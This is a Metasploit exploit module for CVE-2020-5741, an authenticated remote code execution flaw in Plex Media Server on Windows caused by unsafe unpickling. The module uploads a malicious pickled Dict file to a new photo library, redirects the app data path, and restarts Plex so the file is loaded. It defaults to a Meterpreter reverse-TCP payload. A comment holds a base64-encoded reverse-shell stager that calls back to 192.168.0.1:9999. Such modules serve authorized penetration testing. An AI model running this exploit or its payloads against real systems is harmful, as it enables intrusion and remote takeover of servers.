## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Plex Unpickle Dict Windows RCE', 'Description' => %q{ This module exploits an authenticated Python unsafe pickle.load of a Dict file. An authenticated attacker can create a photo library and add arbitrary files to it. After setting the Windows only Plex variable LocalAppDataPath to the newly created photo library, a file named Dict will be unpickled, which causes an RCE as the user who started Plex. Plex_Token is required, to get it you need to log-in through a web browser, then check the requests to grab the X-Plex-Token header. See info -d for additional details. If an exploit fails, or is cancelled, Dict is left on disk, a new ALBUM_NAME will be required as subsuquent writes will make Dict-1, and not execute. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Chris Lyne' # discovery, POC ], 'References' => [ ['URL', 'https://github.com/tenable/poc/blob/master/plex/plex_media_server/auth_dict_unpickle_rce_exploit_tra_2020_32.py'], ['URL', 'https://www.tenable.com/security/research/tra-2020-32'], ['URL', 'http://support.plex.tv/articles/201105343-advanced-hidden-server-settings/'], ['URL', 'https://forums.plex.tv/t/security-regarding-cve-2020-5741/586819'], ['CVE', '2020-5741'] ], 'Platform' => ['python'], 'Privileged' => false, 'Arch' => [ARCH_PYTHON], 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }, 'Notes' => { 'Stability' => [CRASH_SERVICE_RESTARTS], # we reboot the server twice 'Reliability' => [REPEATABLE_SESSION, CONFIG_CHANGES], # we attempt to revert config changes 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] }, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => 'May 7 2020', 'DefaultTarget' => 0 ) ) register_options( [ Opt::RPORT(32400), OptString.new('PLEX_TOKEN', [true, 'Admin Authenticated X-Plex-Token', '']), OptString.new('LIBRARY_PATH', [true, 'Path to write picture library to', 'C:\\Users\\Public']), OptString.new('ALBUM_NAME', [true, 'Name of Album', '']), OptInt.new('REBOOT_SLEEP', [true, 'Time to wait for Plex to restart', 15]) ] ) end def album_name if @album_name.nil? @album_name = datastore['ALBUM_NAME'].blank? ? rand_text_alphanumeric(6) : datastore['ALBUM_NAME'] end @album_name end def create_photo_library print_status('Adding new photo library') res = send_request_cgi( 'method' => 'POST', 'uri' => '/library/sections', 'headers' => { 'X-Plex-Token' => datastore['PLEX_TOKEN'], 'Accept' => 'application/json' }, 'vars_get' => { 'name' => album_name, 'language' => 'en', 'agent' => 'com.plexapp.agents.none', 'location' => datastore['LIBRARY_PATH'], 'type' => 'photo', 'scanner' => 'Plex Photo Scanner' } ) # response: # {"MediaContainer":{"size":1,"Directory":[{"art":"/:/resources/photo-fanart.jpg","composite":"/library/sections/-1/composite/1592441414","thumb":"/:/resources/photo.png","key":"7","type":"photo","title":"EvilLib2","agent":"com.plexapp.agents.none","scanner":"Plex Photo Scanner","language":"en","uuid":"95d3810f-8be0-497c-b6d4-170050f7ab30","updatedAt":1592441414,"createdAt":1592441414,"enableAutoPhotoTags":false,"content":true,"directory":true,"contentChangedAt":5135637678740750690,"Location":[{"id":7,"path":"C:\\Users\\Public"}]}]}} # we need to pull ['MediaContainer']['Directory'][0]['key'] if res && res.code == 201 # 201 == Created return res.get_json_document['MediaContainer']['Directory'][0]['key'] end nil end def add_pickle(location) print_status('Adding pickled Dict to library') # This is the pickle code, generated on windows to ensure no cross platform # issues were encountered ####### # python (2.7 ships with Plex) ####### # import pickle # # class EP(object): # def __init__(self): # pass # def __reduce__(self): # # for generating an approximately correct size and content, we use # # msfvenom -p python/meterpreter/reverse_tcp LPORT=9999 LHOST=192.168.0.1 # # that payload is then added after runsource. # # The original pre-meterp return would be # # return (eval, ("__import__('code').InteractiveInterpreter().runsource(, '', 'exec')",)) # return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')[0]))\", '', 'exec')",)) # # e = EP() # pickle.dumps(e) # The output from that command will look similar to the following: # 'c__builtin__\neval\np0\n(S\'__import__(\\\'code\\\').InteractiveInterpreter().runsource("exec(__import__(\\\'base64\\\').b64decode(__import__(\\\'codecs\\\').getencoder(\\\'utf-8\\\')(\\\'aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==\\\')[0]))", \\\'\\\', \\\'exec\\\')\'\np1\ntp2\nRp3\n.' p = %|c__builtin__\neval\np0\n(S\'| p << %|__import__('code').InteractiveInterpreter().runsource("#{payload.encoded}", '', 'exec')|.gsub("'", "\\\\'") p << %(\'\np1\ntp2\nRp3\n.) # rubocop changed the | to ( which to not match the last 2 lines... filename = "#{album_name}/Plex Media Server/Plug-in Support/Data/com.plexapp.system/" u = "type=13§ionID=3&locationID=#{location}&createdAt=1171387901&filename=#{URI.encode_www_form_component(filename)}" # using raw here because the encodings for the filename got really wacky when using CGI res = send_request_raw( 'method' => 'POST', 'uri' => "/library/metadata?#{u}Dict", 'headers' => { 'X-Plex-Token' => datastore['PLEX_TOKEN'] }, 'ctype' => 'application/octet-stream', 'data' => p ) if res && res.code == 401 fail_with(Failure::UnexpectedReply, 'Permission denied when attempting to upload file. Plex server may not be registered to an account or you lack permission.') delete_photo_library(location) return false end # Deleting the file (even with a PrependFork) tended to kill the session or make it unreliable # register_file_for_cleanup("#{datastore['LIBRARY_PATH']}\\#{filename.gsub('/', '\\\\')}Dict") if res && res.code == 401 fail_with(Failure::UnexpectedReply, 'Permission denied when attempting to upload file. Plex server may not be registered to an account or you lack permission.') delete_photo_library(location) return false end true end def change_apppath(path) print_status('Changing AppPath') send_request_cgi( 'method' => 'PUT', 'uri' => '/:/prefs', 'vars_get' => { 'X-Plex-Token' => datastore['PLEX_TOKEN'], 'LocalAppDataPath' => path } ) end def restart_plex print_status('Restarting Plex') send_request_cgi( 'method' => 'GET', 'uri' => '/:/plugins/com.plexapp.system/restart', 'vars_get' => { 'X-Plex-Token' => datastore['PLEX_TOKEN'] } ) end def delete_photo_library(library) print_status('Deleting Photo Library') send_request_cgi( 'method' => 'DELETE', 'uri' => "/library/sections/#{library}", 'vars_get' => { 'X-Plex-Token' => datastore['PLEX_TOKEN'] } ) end def ret_server_info print_status('Gathering Plex Config') res = send_request_cgi( 'uri' => '/', 'headers' => { 'X-Plex-Token' => datastore['PLEX_TOKEN'] } ) unless res && res.code == 200 return nil end return Hash.from_xml(res.body) end def check server = ret_server_info if server.nil? return CheckCode::Safe('Could not connect to the web service, check URI Path and IP') end store_loot('plex.json', 'application/json', datastore['RHOST'], server.to_s, 'plex.json', 'Plex Server Configuration') report_host({ host: datastore['RHOST'], os_name: server['MediaContainer']['platform'], os_flavor: server['MediaContainer']['platformVersion'] }) print_status("Server Name: #{server['MediaContainer']['friendlyName']}") unless server['MediaContainer']['platform'] == 'Windows' print_bad("Server OS: #{server['MediaContainer']['platform']} (#{server['MediaContainer']['platformVersion']})") return CheckCode::Safe('Only Windows OS is exploitable') end print_good("Server OS: #{server['MediaContainer']['platform']} (#{server['MediaContainer']['platformVersion']})") v = Gem::Version.new(server['MediaContainer']['version']) if v >= Gem::Version.new('1.19.3') print_bad("Server Version: #{v}") return CheckCode::Safe('Only < 1.19.3 is exploitable') end print_good("Server Version: #{server['MediaContainer']['version']}") unless server['MediaContainer']['allowCameraUpload'] print_bad("Camera Upload: #{server['MediaContainer']['allowCameraUpload']}") return CheckCode::Safe('Camera Upload not enabled') end print_good("Camera Upload: #{server['MediaContainer']['allowCameraUpload']}") CheckCode::Vulnerable end def exploit if datastore['PLEX_TOKEN'].blank? fail_with(Failure::BadConfig, 'PLEX_TOKEN is required.') end unless check == CheckCode::Vulnerable fail_with(Failure::NotVulnerable, 'Server not vulnerable') end print_status("Using album name: #{album_name}") id = create_photo_library if id.nil? fail_with(Failure::UnexpectedReply, 'Unable to create photo library, possible permission problem') end print_good("Created Photo Library: #{id}") success = add_pickle(id) unless success fail_with(Failure::UnexpectedReply, 'Unable to upload files to library') end change_apppath("#{datastore['LIBRARY_PATH']}\\#{album_name}") restart_plex print_status("Sleeping #{datastore['REBOOT_SLEEP']} seconds for server restart") Rex.sleep(datastore['REBOOT_SLEEP']) print_status('Cleanup Phase: Reverting changes from exploitation') change_apppath('') restart_plex delete_photo_library(id) end end